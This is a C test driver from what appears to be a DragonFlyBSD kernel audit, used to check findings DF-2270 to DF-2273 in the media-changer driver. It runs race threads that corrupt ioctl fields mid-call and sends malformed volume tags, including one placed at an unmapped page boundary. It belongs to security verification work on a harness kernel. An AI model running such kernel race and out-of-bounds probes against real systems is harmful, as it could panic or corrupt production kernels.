⬢ DragonFlyBSD Kernel Audit
DF-2273 / ch_user.c
← back to finding ↓ download raw
/*
 * DF-2270 / DF-2272 / DF-2273 userland driver (run as root on the
 * harness kernel against the fabricated /dev/ch0).
 *
 * Usage:
 *   ch_user perm                     - show /dev/ch0 perms (privesc reach)
 *   ch_user ges <type> <base> <count>
 *                                    - CHIOGSTATUS with arbitrary type
 *   ch_user race_move <iters>        - DF-2272 CHIOMOVE cm_fromtype race
 *   ch_user race_ges <iters>         - DF-2272 CHIOGSTATUS count race
 *   ch_user vt <k>                   - DF-2273 NUL at cv_volid[k] (0..33)
 *   ch_user vt none                  - DF-2273 no NUL anywhere in field
 *   ch_user vt far                   - DF-2273 NUL far past the struct
 *   ch_user boundary                 - DF-2273/2272 end-of-page struct,
 *                                       PROT_NONE next page
 *   ch_user stats                    - read kernel tripwires
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/chio.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

static const char *DEV = "/dev/ch0";

static void
show_stats(const char *tag)
{
	char buf[512];
	size_t n = sizeof(buf);
	int mib[4];
	size_t l;

	snprintf(buf, sizeof(buf), "?");
	l = sizeof(mib) / sizeof(mib[0]);
	if (sysctlnametomib("debug.dfch.stats", mib, &l) == 0) {
		if (sysctl(mib, l, buf, &n, NULL, 0) != 0)
			snprintf(buf, sizeof(buf), "sysctl: %s",
			    strerror(errno));
	}
	printf("STATS[%s]: %s\n", tag, buf);
	fflush(stdout);
}

static int
opendev(void)
{
	int fd = open(DEV, O_RDWR);

	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", DEV, strerror(errno));
		exit(1);
	}
	return (fd);
}

static void
do_perm(void)
{
	struct stat st;

	if (stat(DEV, &st) == 0)
		printf("%s: uid=%u gid=%u mode=%o (%s)\n", DEV,
		    st.st_uid, st.st_gid, st.st_mode,
		    (st.st_mode & 07) ? "group/other bits set" :
		    "owner-only (root) rw");
}

static void
do_ges(int type, int base, int count)
{
	struct changer_element_status_request cesr;
	char *ubuf;
	size_t ublen = 9u * 1024 * 1024;
	int fd, r;

	ubuf = mmap(NULL, ublen, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (ubuf == MAP_FAILED) {
		perror("mmap");
		exit(1);
	}
	memset(&cesr, 0, sizeof(cesr));
	cesr.cesr_element_type = type;
	cesr.cesr_element_base = base;
	cesr.cesr_element_count = count;
	cesr.cesr_element_status = (struct changer_element_status *)ubuf;

	fd = opendev();
	errno = 0;
	r = ioctl(fd, CHIOGSTATUS, &cesr);
	printf("ges type=%d base=%d count=%d -> ioctl=%d errno=%d (%s)\n",
	    type, base, count, r, errno, r ? strerror(errno) : "SUCCESS");
	if (r == 0)
		printf("  kernel returned %d element statuses for type %d\n",
		    count, type);
	close(fd);
	munmap(ubuf, ublen);
}

/* ---- DF-2272 races ---- */

static volatile int run_flag = 1;
static volatile unsigned short *p_fromtype;
static volatile unsigned short *p_cnt;

static void *
mutator_move(void *arg)
{
	while (run_flag) {
		*p_fromtype = 1000;	/* OOB index (canary-backed) */
		*p_fromtype = 1;	/* valid CHET_ST */
	}
	return (NULL);
}

static void
do_race_move(long iters)
{
	struct changer_move *cm;
	pthread_t th;
	long i, ok = 0, einval = 0, enodev = 0, other = 0;
	int fd;

	cm = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (cm == MAP_FAILED) {
		perror("mmap");
		exit(1);
	}
	memset((void *)cm, 0, sizeof(*cm));
	p_fromtype = &cm->cm_fromtype;

	fd = opendev();
	pthread_create(&th, NULL, mutator_move, NULL);

	for (i = 0; i < iters; i++) {
		/* valid request: ST(1) unit 0 -> ST(1) unit 0 */
		cm->cm_fromtype = 1;
		cm->cm_fromunit = 0;
		cm->cm_totype = 1;
		cm->cm_tounit = 0;
		cm->cm_flags = 0;
		if (ioctl(fd, CHIOMOVE, cm) == 0)
			ok++;
		else if (errno == EINVAL)
			einval++;
		else if (errno == ENODEV)
			enodev++;
		else
			other++;
		if ((i % 1000000) == 999999) {
			printf("  ... %ld/%ld (ok=%ld einval=%ld "
			    "enodev=%ld other=%ld)\n", i + 1, iters, ok,
			    einval, enodev, other);
			fflush(stdout);
		}
	}
	run_flag = 0;
	pthread_join(th, NULL);
	printf("race_move: iters=%ld ok=%ld einval=%ld enodev=%ld "
	    "other=%ld\n", iters, ok, einval, enodev, other);
	close(fd);
	munmap(cm, 4096);
}

static void *
mutator_ges(void *arg)
{
	while (run_flag) {
		*p_cnt = 0xffff;
		*p_cnt = 16;
	}
	return (NULL);
}

static void
do_race_ges(long iters)
{
	struct changer_element_status_request *cesr;
	char *ubuf;
	size_t ublen = 9u * 1024 * 1024;
	pthread_t th;
	long i, ok = 0, einval = 0, other = 0;
	int fd;

	ubuf = mmap(NULL, ublen, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (ubuf == MAP_FAILED) {
		perror("mmap");
		exit(1);
	}
	cesr = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (cesr == MAP_FAILED) {
		perror("mmap cesr");
		exit(1);
	}
	memset(cesr, 0, sizeof(*cesr));
	cesr->cesr_element_type = 1;
	cesr->cesr_element_base = 0;
	cesr->cesr_element_count = 16;
	cesr->cesr_element_status = (void *)ubuf;
	p_cnt = &cesr->cesr_element_count;

	fd = opendev();
	pthread_create(&th, NULL, mutator_ges, NULL);

	for (i = 0; i < iters; i++) {
		cesr->cesr_element_count = 16;	/* valid: ST count is 16 */
		if (ioctl(fd, CHIOGSTATUS, cesr) == 0)
			ok++;
		else if (errno == EINVAL)
			einval++;
		else
			other++;
		if ((i % 1000000) == 999999) {
			printf("  ... %ld/%ld (ok=%ld einval=%ld other=%ld)"
			    "\n", i + 1, iters, ok, einval, other);
			fflush(stdout);
		}
	}
	run_flag = 0;
	pthread_join(th, NULL);
	printf("race_ges: iters=%ld ok=%ld einval=%ld other=%ld\n",
	    iters, ok, einval, other);
	close(fd);
	munmap(ubuf, ublen);
}

/* ---- DF-2273 voltag scans ---- */

static void
vt_common(const char *tag, int nulpos /* -1 = none, -2 = far */)
{
	struct changer_set_voltag_request *csvr;
	char *page;
	int fd, r;

	page = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (page == MAP_FAILED) {
		perror("mmap");
		exit(1);
	}
	memset(page, 0x43, 8192);	/* nonzero filler */
	csvr = (void *)(page + 4096 - 512);
	memset(csvr, 0, sizeof(*csvr));
	csvr->csvr_type = 1;
	csvr->csvr_addr = 0;
	csvr->csvr_flags = CSVR_MODE_REPLACE;
	memset(csvr->csvr_voltag.cv_volid, 0x41,
	    sizeof(csvr->csvr_voltag.cv_volid));		/* 33 non-NUL */
	csvr->csvr_voltag.cv_serial = 0x4242;

	if (nulpos >= 0 &&
	    (size_t)nulpos < sizeof(csvr->csvr_voltag.cv_volid))
		csvr->csvr_voltag.cv_volid[nulpos] = 0;
	if (nulpos == -2)
		page[4096 + 200] = 0;	/* NUL 200B past struct end */

	fd = opendev();
	errno = 0;
	r = ioctl(fd, CHIOSETVOLTAG, csvr);
	printf("vt %s (nulpos=%d): ioctl=%d errno=%d (%s)\n",
	    tag, nulpos, r, errno, r ? strerror(errno) : "SUCCESS");
	close(fd);
	munmap(page, 8192);
}

static void
do_boundary(void)
{
	/*
	 * csvr ends exactly at a page boundary; the next page is
	 * PROT_NONE.  If the kernel dereferenced the USER pointer in
	 * chsetvoltag (the finding premise), strlen would walk into
	 * the unmapped page -> kernel-mode page fault -> panic.
	 * If mapped_ioctl copyin()s first (sys_generic.c:674-697),
	 * the syscall fails cleanly with EFAULT before the driver.
	 */
	struct changer_set_voltag_request *csvr;
	char *map;
	size_t pg = 4096;
	int fd, r;

	map = mmap(NULL, 3 * pg, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (map == MAP_FAILED) {
		perror("mmap");
		exit(1);
	}
	if (mprotect(map + pg, pg, PROT_NONE) != 0) {
		perror("mprotect");
		exit(1);
	}
	memset(map, 0x45, pg);	/* whole first page nonzero */
	csvr = (void *)(map + pg - sizeof(*csvr));
	csvr->csvr_type = 1;
	csvr->csvr_addr = 0;
	csvr->csvr_flags = CSVR_MODE_REPLACE;
	memset(csvr->csvr_voltag.cv_volid, 0x41,
	    sizeof(csvr->csvr_voltag.cv_volid));
	csvr->csvr_voltag.cv_serial = 0x4242;

	fd = opendev();
	errno = 0;
	r = ioctl(fd, CHIOSETVOLTAG, csvr);
	printf("boundary: ioctl=%d errno=%d (%s)\n", r, errno,
	    r == -1 && errno == EFAULT ?
	    "EFAULT from syscall-layer copyin -- kernel never walked" :
	    strerror(errno));
	close(fd);
	munmap(map, 3 * pg);
}

int
main(int argc, char **argv)
{
	if (argc < 2)
		goto usage;

	if (strcmp(argv[1], "perm") == 0) {
		do_perm();
		return (0);
	}
	if (strcmp(argv[1], "ges") == 0 && argc == 5) {
		do_ges(atoi(argv[2]), atoi(argv[3]), atoi(argv[4]));
		return (0);
	}
	if (strcmp(argv[1], "race_move") == 0 && argc == 3) {
		do_race_move(atol(argv[2]));
		return (0);
	}
	if (strcmp(argv[1], "race_ges") == 0 && argc == 3) {
		do_race_ges(atol(argv[2]));
		return (0);
	}
	if (strcmp(argv[1], "vt") == 0 && argc == 3) {
		if (strcmp(argv[2], "none") == 0)
			vt_common("none", -1);
		else if (strcmp(argv[2], "far") == 0)
			vt_common("far", -2);
		else
			vt_common("at", atoi(argv[2]));
		return (0);
	}
	if (strcmp(argv[1], "boundary") == 0) {
		do_boundary();
		return (0);
	}
	if (strcmp(argv[1], "stats") == 0) {
		show_stats("cmd");
		return (0);
	}
usage:
	fprintf(stderr, "usage: %s perm|ges t b c|race_move N|race_ges N|"
	    "vt k|none|far|boundary|stats\n", argv[0]);
	return (1);
}